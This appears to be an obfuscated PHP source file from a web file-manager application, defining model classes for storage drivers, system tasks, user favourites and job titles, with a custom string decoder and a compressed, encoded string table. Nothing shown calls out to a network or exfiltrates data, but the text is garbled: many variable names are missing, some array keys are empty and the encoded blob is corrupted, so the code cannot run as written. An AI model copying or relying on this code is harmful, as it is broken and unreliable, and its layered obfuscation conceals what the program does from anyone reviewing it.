"\x53\171\163\164\145\155\56\x73\x6f\165\162\143\145\123\x65\x63\x72\145\x74\114\x69\163\164"; public $field = array("\x73\x6f\x75\x72\143\x65\x49\104", "\164\171\x70\145\111\104", "\143\162\x65\141\164\x65\x55\163\145\162"); } class StorageModel extends ModelBaseLight { public $optionType = "\x53\x79\163\x74\x65\155\x2e\163\x74\157\x72\141\147\145\x4c\x69\163\x74"; public $field = array("\x6e\141\x6d\145", "\163\151\172\x65\115\x61\170", "\x73\x79\x73\164\145\x6d", "\x64\145\x66\x61\165\x6c\x74", "\x64\x72\x69\x76\145\x72", "\x63\x6f\156\146\151\147"); public function listData($ = false, $ = "\155\x6f\x64\151\146\171\x54\151\155\145", $׶ = false) { $ʁّ =& $_SERVER[]; $ʱ = parent::listData($, $, $׶); if ($) { return $ʱ; } $ȵ܊ = array(); if ($GLOBALS[$ʁّ[2304]]) { $ȵ܊ = $this->ioSizeUseGet(array_to_keyvalue($ʱ, $ʁّ[12], $ʁّ[484])); } foreach ($ʱ as $ӑױ => $) { unset($ʱ[$ӑױ][$ʁّ[6]]); $ʱ[$ӑױ][$ʁّ[1966]] = isset($ȵ܊[$[$ʁّ[484]]]) ? $ȵ܊[$[$ʁّ[484]]] : 0; } return $ʱ; } public function ioSizeUseGet($ڎ) { $˅ =& $_SERVER[]; if (!$ڎ) { return array(); } $ = $˅[2305] . implode($˅[50], $ڎ); $٘ = Cache::get($); if ($٘) { return $٘; } $ = array($˅[907] => $˅[484], $˅[2306] => $˅[89]); $ߔ = array($˅[907] => array($˅[7], $ڎ)); $٘ = Model($˅[878])->field($)->where($ߔ)->group($˅[907])->select(); $٘ = array_to_keyvalue($٘, $˅[484], $˅[89]); Cache::set($, $٘, 600); return $٘; } public function getConfig($˽) { $ʲ = parent::listData($˽); return json_decode($ʲ[$_SERVER[][6]], !0); } public function update($ʏ, $ѐƝ) { $ь =& $_SERVER[]; $ = $ѐƝ[$ь[32]]; $Ƴ = array_to_keyvalue(parent::listData(), $ь[32]); if (isset($Ƴ[$]) && $Ƴ[$][$ь[484]] != $ʏ) { return !1; } $this->checkPwd($ʏ, $ѐƝ); if (isset($ѐƝ[$ь[2307]]) && $ѐƝ[$ь[2307]] == $ь[101]) { $this->checkConfig($ѐƝ); } unset($ѐƝ[$ь[2307]]); $ = parent::update($ʏ, $ѐƝ); if ($ && $ѐƝ[$ь[37]]) { $Ъ = 0; foreach ($Ƴ as $Ъ) { if ($Ъ[$ь[37]] && $Ъ[$ь[484]] != $ʏ) { $Ъ = $Ъ[$ь[484]]; parent::update($Ъ[$ь[484]], array($ь[37] => 0)); } } $this->updateBackup($ʏ, $Ъ); } return $; } public function add($ʦ) { $ =& $_SERVER[]; $ޥ = array_to_keyvalue(parent::listData(), $[32]); if (isset($ޥ[$ʦ[$[32]]])) { return !1; } $this->checkConfig($ʦ); $ = parent::insert($ʦ); if ($ && $ʦ[$[37]]) { foreach ($ޥ as $Ͻ׳) { if ($Ͻ׳[$[37]]) { parent::update($Ͻ׳[$[484]], array($[37] => 0)); } } } return $; } public function updateBackup($ǃ, $) { $Ȁ =& $_SERVER[]; if (!$) { return; } $ڃ㝣 = Model($Ȁ[837])->config(); if ($ڃ㝣[$Ȁ[1749]] != $Ȁ[101] || $ڃ㝣[$Ȁ[841]] != $) { return; } $˻ = Model($Ȁ[859])->get($Ȁ[872]); $˻ = json_decode($˻, !0); if (!$˻) { return; } $˻[$Ȁ[841]] = $ǃ; Model($Ȁ[859])->set(array($Ȁ[872] => $˻)); } public function checkPwd($ݐ, &$ɡ) { $â =& $_SERVER[]; if (empty($ɡ[$â[6]])) { return; } $ˡۖ = json_decode($ɡ[$â[6]], !0); $ = $â[12]; $ = array($â[2308], $â[2309], $â[978]); foreach ($ as $) { if (isset($ˡۖ[$])) { $ = $; break; } } if (!$) { return; } $ = $this->getConfig($ݐ); $ş = $[$]; $Ǧ = $ˡۖ[$]; if ($Ǧ == str_repeat($â[230], strlen($ş))) { $ˡۖ[$] = $ş; $ɡ[$â[6]] = json_encode($ˡۖ); } else { if ($Ǧ != $ş) { $ɡ[$â[2307]] = $â[101]; } } } public function checkConfig(&$ß, $˵ = false) { $ =& $_SERVER[]; $ = strtolower($ß[$[108]]); $☖ = json_decode($ß[$[6]], !0); foreach ($☖ as $− => $ьʀ) { if (is_string($ьʀ)) { $☖[$−] = trim($ьʀ); } } $☖[$[2310]] = rand_string(6); $ = $GLOBALS[$[6]][$[102]][$[915]]; $ = isset($[$]) ? $[$] : ucfirst($); $Ҽ = $[87] . $; if (!$ || !class_exists($Ҽ)) { if ($˵) { return LNG($[2311]); } write_log(array($[2312], $ß, get_caller_info()), $[225]); show_json(LNG($[2311]), !1, $ß); } $ = new $Ҽ($☖); if (in_array($, $->objectDriver)) { try { if (!$->isBucketCors() && !$->setBucketCors()) { $䙧 = LNG($[2313]); $䙧 .= $[2314] . LNG($[2315]); } } catch (Exception $) { $䙧 = $->getMessage(); } if (isset($䙧)) { return $this->_parseError($䙧, $, $˵); } if ($ == $[78] && !$->checkRegion()) { return $this->_parseError(LNG($[2316]), $, $˵); } } $ = rtrim($☖[$[1273]], $[8]) . $[8]; $㐊 = $->getPath($ . $[1277]); try { if ($ == $[119]) { $->mkdir($); } $󕣃 = $->mkfile($㐊); if (!$󕣃) { $䙧 = LNG($[2313]); } } catch (Exception $) { $䙧 = $->getMessage(); } if (isset($䙧)) { return $this->_parseError($䙧, $, $˵); } $☖[$[1273]] = $; $ß[$[6]] = json_encode($☖); $ß[$[108]] = $; return !0; } private function _parseError($ň, $, $Ϭê = false) { $ċ =& $_SERVER[]; if ($ == $ċ[78] && stripos($ň, $ċ[2317])) { $ҽ = explode($ċ[10], $ň); $ьڠ = isset($ҽ[1]) ? $ҽ[1] : $ċ[12]; $ = array($ċ[2318] => LNG($ċ[2319]), $ċ[2320] => LNG($ċ[2321])); if (isset($[$ьڠ])) { $ň = $[$ьڠ]; } } if (stripos($ň, $ċ[2322]) === 0) { $ = strpos($ň, $ċ[188]); if ($ === !1) { $ = strpos($ň, $ċ[4]); } if ($ !== !1) { $ň = substr($ň, $ + 1); } } $ň = LNG($ċ[1280]) . $ň; if ($Ϭê) { return $ň; } show_json($ň, !1); } public function driverListSystem() { $΢ =& $_SERVER[]; $쓔 = parent::listData(); $ʾ = array(); foreach ($쓔 as $ݹ) { unset($ݹ[$΢[241]], $ݹ[$΢[98]]); $ݹ[$΢[6]] = json_decode($ݹ[$΢[6]], !0); $ʾ[] = $ݹ; } return $ʾ; } public function defaultDriver() { $ɬ =& $_SERVER[]; $ӄ = parent::listData(); $߻ = array_filter_by_field($ӄ, $ɬ[37], 1); $߻ = $߻[0]; if ($߻) { $߻[$ɬ[6]] = json_decode($߻[$ɬ[6]], !0); } return $߻; } public function driverInfo($ۊ) { $벬 =& $_SERVER[]; $׉ = array_to_keyvalue(parent::listData(), $벬[484]); if (!isset($׉[$ۊ])) { return !1; } $ۛ = $׉[$ۊ]; $ۛ[$벬[6]] = json_decode($ۛ[$벬[6]], !0); return $ۛ; } public function remove($) { $this->removeShareItems($); return parent::remove($); } public function removeWithFile($ŕ, $׵˷, $ۙ, $ا = false) { $ӛĔ =& $_SERVER[]; $͛ = array($ӛĔ[907] => $ŕ); $㸜 = Model($ӛĔ[553])->where($͛)->count(); $ = Model($ӛĔ[553])->where($͛)->sum($ӛĔ[89]); $ʂ = $׵˷ . $ӛĔ[2323] . $ŕ; $ċȟ = LNG($׵˷ == $ӛĔ[629] ? $ӛĔ[2324] : $ӛĔ[2325]); $Ԥ = new TaskFileTransfer($ʂ, $ӛĔ[225], $㸜, $ċȟ . $ӛĔ[471] . $ۙ[$ӛĔ[32]] . $ӛĔ[224] . $ŕ); $Ԥ->task[$ӛĔ[852]] = (double) $; $֫ = KodIO::defaultDriver(); $ޢ = $֫[$ӛĔ[484]]; $˾ = $ɭ = $շļ = array(); $ = Model($ӛĔ[240])->where($͛)->field($ӛĔ[2326])->select(); foreach ($ as $) { $꩷ԕ = $[$ӛĔ[550]]; if ($ا) { $ɭ[] = $꩷ԕ; continue; } $ʃ = $[$ӛĔ[97]]; $ɢ = get_path_father($ʃ); $շļ[] = $ɢ; $ɢ = str_replace("\173\151\157\72{$ŕ}\x7d\57", "\173\151\157\x3a{$ޢ}\x7d\57", $ɢ); if (!IO::exist($ʃ)) { $˾[] = $꩷ԕ; $Ԥ->updateFileEnd($[$ӛĔ[32]], $[$ӛĔ[89]]); write_log($ӛĔ[2327] . $ʃ, $ӛĔ[1909]); continue; } $̂ = IO::move($ʃ, $ɢ, REPEAT_RENAME); if (!$̂) { $ɭ[] = $꩷ԕ; $Ԥ->updateFileEnd($[$ӛĔ[32]], $[$ӛĔ[89]]); write_log($ӛĔ[2328] . $ʃ, $ӛĔ[1909]); continue; } $͛ = array($ӛĔ[550] => $꩷ԕ); $ڗ = array($ӛĔ[907] => $ޢ, $ӛĔ[97] => $̂); Model($ӛĔ[240])->where($͛)->save($ڗ); } $Ƅ = $Ԥ->task; if (!$ا) { Cache::set($ʂ, $Ƅ); } $Ԥ->end(); $˾ = array_unique($˾); $ɭ = array_unique($ɭ); if (!$ا && ($˾ || $ɭ)) { $ = array(); if ($˾) { $[] = sprintf(LNG($ӛĔ[2329]), count($˾)); } if ($ɭ) { $[] = sprintf(LNG($ӛĔ[2330]), count($ɭ)); } $ = sprintf(LNG($ӛĔ[2331]), implode($ӛĔ[2332], $)) . $ӛĔ[2333] . date($ӛĔ[2334]) . $ӛĔ[2335]; if ($׵˷ == $ӛĔ[1946]) { $ .= $ӛĔ[2336] . LNG($ӛĔ[2337]); } $Ƅ[$ӛĔ[1275]] = $; Cache::set($ʂ, $Ƅ); unset($ۙ[$ӛĔ[6]]); $ = array($ӛĔ[484] => $ŕ, $ӛĔ[2216] => $ӛĔ[629], $ӛĔ[32] => $ۙ[$ӛĔ[32]], $ӛĔ[1298] => $ۙ); Hook::trigger($ӛĔ[1790], array($ӛĔ[1298] => $, $ӛĔ[1308] => !0)); show_json($, !1, 100111); } if ($׵˷ == $ӛĔ[629]) { return !0; } if ($˾ || $ɭ) { $֡ = array_merge($˾, $ɭ); $֡ = array_filter(array_unique($֡)); $this->removeByFileID($֡); } if ($շļ) { $շļ = array_filter(array_unique($շļ)); foreach ($շļ as $ʃ) { $߲ = IO::has($ʃ, !0); if (!$߲[$ӛĔ[249]] && !$߲[$ӛĔ[250]]) { IO::remove($ʃ); } } } return $this->remove($ŕ); } private function removeByFileID($ = array()) { $씸 =& $_SERVER[]; if (empty($)) { return; } $ = array($씸[550] => array($씸[7], $)); $ = Model($씸[1429])->where($)->field($씸[203])->select(); if (!$) { return Model($씸[553])->remove($); } $ = array_to_keyvalue($, $씸[12], $씸[203]); foreach ($ as $) { Model($씸[914])->removeNow($, !1); } } private function removeShareItems($󌰀) { $ =& $_SERVER[]; $ʃ = "\173\x69\x6f\72{$󌰀}\x7d\x2f"; $ڭ = array($[203] => 0, $[1268] => array($[468], "{$ʃ}\45")); $ = Model($[1957])->where($ڭ)->field($[674])->select(); if (empty($)) { return; } $ߣ = array_to_keyvalue($, $[12], $[674]); Model($[673])->remove($ߣ); } } goto D; c: class SystemTaskModel extends ModelBaseLight { public $optionType = "\x53\171\x73\164\145\x6d\x2e\164\x61\163\x6b\x4c\x69\x73\164"; public $field = array("\156\141\x6d\x65", "\164\171\160\x65", "\x65\x76\145\156\x74", "\x74\151\x6d\x65", "\x64\x65\x73\143", "\163\x79\x73\x74\145\x6d", "\x65\x6e\x61\x62\x6c\145", "\x6c\141\x73\x74\x52\165\156", "\x73\157\x72\x74"); public function listData($֔ = false, $ײ = "\x73\157\162\164", $୅ = false) { return parent::listData($֔, $ײ, $୅); } public function add($) { $ܓݟ =& $_SERVER[]; $ࡱ = $this->findByName($[$ܓݟ[32]]); if ($ࡱ) { return !1; } $[$ܓݟ[1730]] = 0; $[$ܓݟ[2002]] = $this->getSort(); return parent::insert($); } private function getSort() { $Х =& $_SERVER[]; $ = parent::listData(); $᧱ = array_to_keyvalue($, $Х[12], $Х[2002]); return empty($᧱) ? 0 : max($᧱) + 1; } public function update($ß, $) { $Ѱ =& $_SERVER[]; $ͮ = $this->listData($ß); $ċ = $this->findByName($[$Ѱ[32]]); if (!$ͮ || $ċ && $ċ[$Ѱ[484]] != $ͮ[$Ѱ[484]]) { return !1; } return parent::update($ß, $); } public function remove($, $Ψ = false) { $ذ =& $_SERVER[]; $ = $this->listData($); if (!$) { return; } if (!$Ψ && $[$ذ[201]] == $ذ[101]) { return !1; } return parent::remove($); } public function enable($ϋ, $ـڨ) { return $this->update($ϋ, array($_SERVER[][2441] => $ـڨ)); } public function run($) { return $this->update($, array($_SERVER[][2453] => time())); } } class UserFavModel extends ModelBase { protected $tableName = "\165\163\x65\162\x5f\146\x61\x76"; protected function cacheFunctionAlias($ԕ) { $я; =& $_SERVER[]; return array($я;[2093] => array(USER_ID, $я;[2454])); } protected function listData() { $Ū =& $_SERVER[]; $ = array($Ū[1770] => USER_ID, $Ū[566] => 0); $ = $Ū[2455]; $ۉ = $this->field($)->where($)->order($Ū[2456])->select(); return $ۉ ? $ۉ : array(); } protected function resetCache() { } protected function listView() { $Ν =& $_SERVER[]; $ = $this->listData(); $ = array_filter_by_field($, $Ν[33], $Ν[499]); $ = array_to_keyvalue($, $Ν[12], $Ν[97]); if (!$) { return $; } $ˇ흢 = 2000; $幟 = array($Ν[500] => array($Ν[501], $)); $֬Ç = Model($Ν[914])->listSource($幟, $ˇ흢); $֬Ç = array_merge($֬Ç[$Ν[96]], $֬Ç[$Ν[95]]); $֬Ç = array_to_keyvalue($֬Ç, $Ν[203]); foreach ($ as $ܴ => $) { $ľȡ = $֬Ç[$[$Ν[97]]]; $ľȡ = $ľȡ ? $ľȡ : array(); $[$ܴ] = array_merge($ľȡ, $); } return $; } protected function addFav($, $٠ = '', $¸ = "\163\x6f\165\x72\x63\x65") { $қ =& $_SERVER[]; $τλ = array($қ[1770] => USER_ID, $қ[566] => 0, $қ[505] => $¸, $қ[504] => $); if ($this->where($τλ)->find()) { return !1; } $τλ = array($қ[1770] => USER_ID, $қ[566] => 0); $ґڳ = $this->where($τλ)->max($қ[2002]); if (!$ґڳ) { $ґڳ = 0; } if (!$٠ && $¸ == $қ[499]) { $²솀 = Model($қ[1429])->where(array($қ[500] => $))->find(); if (!$²솀) { return !1; } $٠ = $²솀[$қ[32]]; } $٠ = $this->getAutoName($٠); $瞒 = array($қ[1770] => USER_ID, $қ[566] => 0, $қ[503] => $٠, $қ[504] => $, $қ[505] => $¸, $қ[1982] => $ґڳ + 1); return $this->add($瞒); } protected function remove($) { $ =& $_SERVER[]; $Ș = array($[1770] => USER_ID, $[502] => $); return $this->where($Ș)->delete(); } protected function removeByName($) { $ =& $_SERVER[]; $ = array($[1770] => USER_ID, $[503] => $, $[566] => 0); return $this->where($)->delete(); } protected function rename($Ѯ, $) { $ᣥ =& $_SERVER[]; if ($Ѯ == $) { return !1; } $ցހ = $this->getAutoName($); if ($ != $ցހ) { return !1; } $Ǿǹ = array($ᣥ[1770] => USER_ID, $ᣥ[566] => 0, $ᣥ[32] => $Ѯ); return $this->where($Ǿǹ)->save(array($ᣥ[32] => $)); } protected function resetSort($) { $իϰ =& $_SERVER[]; $ = is_array($) ? $ : array(); $͟ = array($իϰ[1770] => USER_ID); for ($ȏ = 0; $ȏ < count($); $ȏ++) { $͟[$իϰ[502]] = $[$ȏ]; $this->where($͟)->save(array($իϰ[1982] => $ȏ + 1)); } return !0; } protected function moveTop($) { $צ =& $_SERVER[]; $ջς = array($צ[1770] => USER_ID, $צ[566] => 0); $هҧ = $this->where($ջς)->where(array($צ[32] => $))->find(); if (!$هҧ) { return; } $˶ = $this->field($צ[484])->where($ջς)->order($צ[2456])->select(); $˶ = array_to_keyvalue($˶, $צ[12], $צ[484]); $Ʈ = $˶; $˶ = array_remove_value($˶, $هҧ[$צ[484]]); array_unshift($˶, $هҧ[$צ[484]]); return $this->resetSort($˶); } protected function moveBottom($Ȫ) { $ܓ =& $_SERVER[]; $ʃ = array($ܓ[1770] => USER_ID, $ܓ[566] => 0); $寝׼ = $this->where($ʃ)->max($ܓ[2002]); $ޏ柴 = array($ܓ[2002] => $寝׼ + 1); return $this->where($ʃ)->where(array($ܓ[32] => $Ȫ))->save($ޏ柴); } private function getAutoName($) { $ =& $_SERVER[]; $ = array($[1770] => USER_ID, $[566] => 0); $̣ = $this->field($[32])->where($)->select(); $̣ = array_to_keyvalue($̣, $[12], $[32]); if (!$̣ || !in_array($, $̣)) { return $; } for ($ᦕ = 0; $ᦕ < count($̣); $ᦕ++) { if (!in_array($ . "\x28{$ᦕ}\51", $̣)) { return $ . "\x28{$ᦕ}\x29"; } } return $ . "\x28{$ᦕ}\x29"; } } class UserJobModel extends ModelBaseLight { public $optionType = "\123\x79\x73\x74\145\x6d\x2e\x6a\157\x62\114\x69\x73\164"; public $field = array("\x6e\x61\x6d\145", "\144\145\163\x63", "\163\157\162\x74"); const JOB_KEY = "\163\145\x6c\146\112\157\142\x4c\x69\x73\164"; public function listData($둽 = false, $ = "\163\157\x72\164", $ɯ = false) { return parent::listData($둽, $, $ɯ); } public function remove($υ) { return parent::remove($υ); } public function add($ț) { $ =& $_SERVER[]; if ($this->findByName($ț[$[32]])) { return !1; } $ț[$[2002]] = $this->getSort(); return parent::insert($ț); } private function getSort() { $ռ =& $_SERVER[]; $Қ = parent::listData(); $Ѻ = array_to_keyvalue($Қ, $ռ[12], $ռ[2002]); return empty($Ѻ) ? 0 : max($Ѻ) + 1; } public function update($۷, $) { $ꈮ =& $_SERVER[]; $֜ = parent::listData($۷); $̬ = $this->findByName($[$ꈮ[32]]); if (!$֜ || $̬ && $̬[$ꈮ[484]] != $֜[$ꈮ[484]]) { return !1; } return parent::update($۷, $); } public function setUserJob($Ž, $) { $֤ =& $_SERVER[]; if (!is_array($)) { $ = array($); } $؜ = parent::listData(); $㞋 = array_to_keyvalue($؜, $֤[32]); $޲ = $֤[463]; foreach ($ as $о) { if ($㞋[$о]) { $޲ .= $㞋[$о][$֤[484]] . $֤[50]; } else { $ݷ = $this->add($о); $޲ .= $ݷ . $֤[50]; } } $޲ = rtrim($޲, $֤[50]); Model($֤[607])->metaSet($Ž, self::JOB_KEY, $޲); } public function getUserJob($) { $񐩾 = Model($_SERVER[][607])->metaGet($); return $this->getUserJobInfo($񐩾[self::JOB_KEY]); } public function getUserJobInfo($ŀ) { $ =& $_SERVER[]; $ = explode($[50], $ŀ); $ = parent::listData(); $ = array_remove_key($, $[241]); $𒎚 = array(); foreach ($ as $ֶ) { if (isset($[$ֶ])) { $𒎚[] = $[$ֶ]; } } return $𒎚; } } goto B; c❴: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define("\217\367\364\332\356\345", "\xdb\xda\xb8\xf9\xa1\xb6"); $_SERVER[] = explode("\174\2\174\1\174\2", gzinflate(substr("\37\213\10\0\0\0\0\0\0\23\305\175\11\170\33\325\325\150\51\224\255\120\372\227\355\57\205\62\61\44\266\23\55\266\263\73\161\22\131\222\155\45\262\145\44\71\13\266\231\214\245\261"."\x35\xb1\xa4\x51\x34\x23\x6f\x49\x28\x9\x5b\x9\x84\x50\xf6\xb5\x40\xa1\x94\xd2\x26\x61\x6f\x48\xa0\xa5\xb4\xd0\xfe\xd0\x96\x52\xda\x12\xe8\x3\xa\x8d\x9d\x50\x28\x7b\x1f\x3b\xbc\xbb\x9c\xbb\xcc\x48\x86\xff"."\x7d\xff\xfb\xbe\x97\x2f\x89\xee\x3e\x77\x39\xf7\x9c\x73\xcf\x3d\xf7\x9c\x4b\xdf\xfe\xdd\x59\xbb\x6e\x5b\xff\xe5\xf5\x7\xac\xff\xf2\xde\x9b\xf6\x7c\xf8\xd2\x87\x34\xbc\xfe\xa0\xf5\x7\xae\xff\xa\xd\x9f\x7c".base64_decode('4aFfIn+OvnBzTU3bnMNndByx9d5t2o+17dqWWPSJ30WO/MNPl4YnbnlidOKALy3ZvDjViA==').base64_decode('CtO6jfRHyZu2oo8Ylm3RhJSZ7zcGaNjI018//emKR4t6zrR1GvXRHxX6Rf631mYNlq92xA==').base64_decode('kmqiq7MzHE9CoUY5P2emIVTQiloOvl/QixbqjdycWjALet6RIhLSmq31aRa0FGpWQ+HOaA==').base64_decode('bJWaXNUZhhJ96tqSXhylMRJM2FrRTho5nZcYLvJ+NYdbIx1KMh7oSASCyUisgyYHY+3tkQ==')."\144\171\172\74\26\215\66\7\202\313\312\163\72\343\201\326\366\200\202\372\227\325\125\43\337\157\326\50\253\151\316\152\245\226\6\132\14\75\233\246\301\274\306\272\143\217\26\40\224\344\41\264"."\x4c\xf9\x52\x36\x4b\x23\x1d\x3c\x94\xd6\xfb\xb5\x52\x16\x66\x2b\x24\x47\xa\x45\x23\xa7\xb1\x41\x2f\xd3\x47\x79\x2a\xd\x68\x25\xdb\x34\xf2\x29\x1a\x9\x8f\xd8\x45\x4d\xa4\xa3\xbe\xa6\xd0\x42\xeb\x79\x68\x2a"."\21\216\206\203\111\5\167\120\151\211\307\332\25\130\204\234\146\331\172\121\131\321\26\216\207\25\334\351\246\152\62\326\152\5\340\245\3\115\205\22\210\106\225\311\132\260\365\134\201\65\103\353"."\124\150\54\26\17\205\343\112\363\52\105\314\120\312\314\345\314\274\17\265\202\126\322\226\272\32\216\307\151\300\3\340\35\215\340\105\203\110\254\245\45\21\346\61\30\334\151\121\324\223\231\0"."\237\216\130\272\77\153\253\103\132\266\304\300\164\220\376\126\303\17\374\252\132\277\221\325\23\306\230\36\311\273\123\150\34\307\324\1\335\126\321\346\262\121\137\1\324\233\3\211\110\120\355\14".strrev('?#Y Pjz2&`?> ~3Ѩ11Z `$').strrev('v'."\r".'aJ֐}zT9z)gZV%T0N%ֻ M(').base64_decode('UL8PT8SQXrRVPZ8y00Ye8M1i2DeanQkV0QQUYfrMbJqFLcekdpRychEeRdOXTRcZivi8kg==')."\x34\x1a\xe5\x18\x7\x97\x15\xb1\x2\xea\x9\x47\x56\x46\xff\xa8\x40\x19\xb8\x5c\x27\xcf\xb5\xcc\x52\x31\x85\x96\xbf\x1f\xa6\xa5\x1e\x92\x75\xdb\x46\x83\x63\x13\x62\x76\x15\xb2\xa6\x96\x4e\xe8\x45\x3e\x34\xc3".strrev('6z2@{j{Oލc4mc!UѶ6V.bZ"XJ'."\r".'Al').base64_decode('6iM67P1cerbFJsNvYXBDKTQaiakZzcq0p2erpBYjCml9xFfIFAAxcVzU49ibeOo6TDsskQ==')."\226\254\231\322\262\362\20\151\70\143\333\205\204\236\117\267\160\110\115\233\303\171\62\123\5\235\1\165\310\243\244\225\166\145\225\322\326\150\64\132\254\142\56\313\103\154\164\74\315\342\211\366".strrev('lfhD-ҕ bk-{nS73'."\r".'JF`ZH"AUL+@?t[')."\xd6\x1c\xf6\xc6\x8a\xc6\x80\x91\x6f\x54\xa6\x3\xbd\xa0\x7b\xdd\x8b\x71\x78\x23\x20\x9b\xaa\x5\xa\x6\x1c\xfc\x99\xe9\x4d\x25\xbb\xdf\x3b\x8f\x21\x11\x5e\xba\xa8\xe5\xad\x7e\xbd\xe8\xd\xc3\xce\x68\x54\x50"."\147\71\42\147\305\102\206\125\60\55\3\167\257\121\321\154\133\113\145\60\22\24\315\67\175\116\171\3\43\10\275\274\54\152\104\367\166\26\265\201\234\326\250\24\112\175\150\2\140\103\102\132".strrev(''."\n".'+ueD 7ߪ {kJl[#–'."\r".'m9*4 '."\n".'')."\x6d\xc9\x64\xa7\x1a\x69\x41\x6c\x44\x47\x58\x6d\xf\x24\x83\x80\x26\xc3\xb6\x36\xc0\x9a\x8e\x22\xda\xc1\x9b\x64\x89\x2b\xbd\x68\x43\x61\x68\xea\x40\x83\x13\x89\x9d\xe6\xb0\x5e\x44\x1f\x6e\x1e\x6d\x54\x6\xcd"."\164\237\71\342\143\131\55\200\256\131\141\274\276\5\333\33\327\362\3\170\30\175\243\266\156\271\161\123\63\142\72\174\375\164\367\372\372\364\176\263\10\243\261\206\6\234\223\37\325\363\3\166"."\x86\xb5\x9d\x8\xc7\x97\x87\xe3\x6a\x22\xd6\x92\x5c\x11\x88\x3\x8f\x92\x47\x90\x33\xc2\x7a\x83\xbf\x9e\xf5\xc6\xf5\x34\x9a\xc4\x94\xcd\xea\x69\x5\x31\xfb\x2b\xbd\x78\xc3\xe0\x8f\xb3\x5c\xbc\x89\x58\x5e\x34"."\322\212\347\56\344\265\120\41\257\134\212\265\35\65\162\6\36\236\315\163\310\144\43\6\246\25\72\344\47\143\156\352\261\246\327\364\244\147\324\172\321\377\323\153\273\173\102\276\351\275\213\375"."\x86\xa8\xe3\xaf\xf7\xd5\x2b\xd\x75\x73\x94\x4e\xc4\x51\x19\x5a\x56\x81\x41\x97\x95\xa8\x53\x62\xcb\x9c\xd3\x22\x20\x3c\x6f\xe6\xf5\x8a\x1b\xb\x1\x92\x69\xe9\xde\x36\x5d\x43\x48\x1a\x2d\x84\x63\x5d\x3c\xec".base64_decode('WzT+ObOLabqES1zrQhPj4dO6womk2h5OtsVC0P1wAEJ5VJn0l60xZiCBLOahWX1EoiGCFg==').base64_decode('pOQJIfU6zGGG/V0AFMTUfJI8FILRmBQvsaXrpj+9AM29QPkNq0WimzjK8atq9q1BkNWuMw==')."\x22\x2\x5f\x8a\xe4\xd0\x1e\x16\x3d\x57\x9d\x44\x8e\xd\xab\x5d\x40\x3a\xda\x32\x2b\x8c\x34\xa7\x82\x28\xda\xa6\x1b\x3\x19\xe8\xa8\x81\x9b\x4b\x99\x59\xb3\xa8\x65\x31\xee\x67\xc\xf6\x80\x1\x68\xb8\x90\x2d".base64_decode('Ibj344aTmVKuDygVmiPELAne1xpFDGKOUWRE1u1IyEF3IeZXMaz2+Ar5gdpToS21YXYdTg==')."\200\145\204\221\241\103\100\111\57\37\272\57\145\242\215\335\256\15\352\215\170\54\200\315\26\220\124\26\221\20\346\2\114\343\232\334\170\1\57\117\326\227\103\215\220\66\203\46\247\312\364\230"."\265\300\111\343\24\275\130\64\213\123\240\4\11\53\204\120\342\345\202\306\155\316\166\130\10\5\260\160\306\344\154\212\311\200\261\321\17\343\236\332\320\2\150\43\215\330\65\237\145\243\105\100".base64_decode('A9TS6UrJCNVAA+sZnJIMxgf4EzPRX0H002ZOYySUED89TamfI4luW5o0nbVbtE2cWXSURA==')."\x90\x98\x31\xa1\x67\x68\xe9\x61\x54\x25\x3e\x3c\x36\xd0\xb4\x9e\xd5\x19\x14\x65\x74\xc6\x40\xd4\x41\x31\x34\xfd\x1c\xc6\x4\xdb\x8b\x8e\x32\x28\x55\x70\x6e\x86\x15\x47\x35\x31\xb9\x67\xf1\x15\xf8\xec\x27\x12"."\60\317\3\300\43\202\131\264\164\61\262\153\104\274\263\250\367\33\43\14\101\214\330\355\132\161\220\15\14\325\24\373\15\107\244\275\330\322\25\215\252\301\130\107\22\35\35\151\312\212\170\44"."\31\146\170\50\20\122\3\301\116\210\11\314\306\331\62\231\261\240\51\103\15\0\47\250\23\176\301\1\41\22\134\60\363\10\177\2\12\362\212\203\145\131\126\132\60\10\0\40\202\251\160\361".base64_decode('CYjS58a8OYQ8vLxPTvZMAXJPubwILFOaLw6ePLSRGV/YGUtAhcU4FfHmfXy/dXZBVk4CkQ==')."\326\60\44\132\31\255\36\0\151\105\202\321\356\22\52\130\64\306\64\61\226\305\254\43\154\4\271\254\340\361\235\303\361\212\45\57\131\136\35\263\27\342\13\263\274\155\355\201\240\67\321\26"."\150\230\75\207\246\256\312\245\173\222\155\206\325\163\72\217\303\374\15\133\263\324\242\216\60\15\373\120\103\135\75\303\3\210\75\222\272\267\312\233\363\342\126\360\324\371\352\352\352\130\133\63"."\346\50\31\204\340\70\31\111\223\345\141\7\256\122\152\220\355\24\55\305\170\136\114\136\54\357\260\301\120\362\251\374\170\160\152\71\330\234\352\44\204\320\104\211\220\140\125\113\341\217\251\250"."\x45\xbb\x64\xc9\x33\x85\xf6\x53\x1a\x55\x32\x18\x2b\x4f\x53\xb5\xec\x0\x9a\x74\x3b\x93\x93\x13\xc5\x8a\xd3\xb8\x4e\xf9\x42\xbe\x76\x7c\x16\xf1\xdc\x3a\x81\x5b\xee\x52\xc1\x44\x9c\x28\xc\x63\x65\xc5\x3e\xac"."\xac\xd4\x87\x95\xae\x3e\xac\x2c\xef\x3\x4d\xb2\x8c\x81\x3c\x1a\x25\xa3\x6a\xb0\x1c\xad\x78\x39\xa4\x65\x75\x2c\xf3\x88\x8a\x2a\xb2\xe3\xbc\x2a\xf\x5\x26\x9\x86\x21\xe7\xb4\x71\x34\xc6\x6\xd9\x1e\x9a\xcd"."\372\21\150\77\335\33\12\60\44\260\160\61\2\121\145\10\213\302\314\174\123\165\275\257\256\132\141\107\345\246\352\256\144\13\72\70\54\136\164\370\302\240\231\53\140\214\330\216\117\207\170\357"."\xd0\x13\xe2\x22\x90\x11\x2c\xc4\x4c\x19\x8b\x74\xf2\xad\x45\xe3\xe1\xa4\x6\x54\x71\xa1\x5f\x2e\xb7\xd0\x3f\x59\xab\x0\x6c\x39\x6d\xcc\xcc\x23\xf0\x46\xd4\x32\xe7\x4b\x1\xc\x63\xfe\x93\x13\x1f\x1c\xb1\x78".strrev('+(Y$q ym!v1oN^ 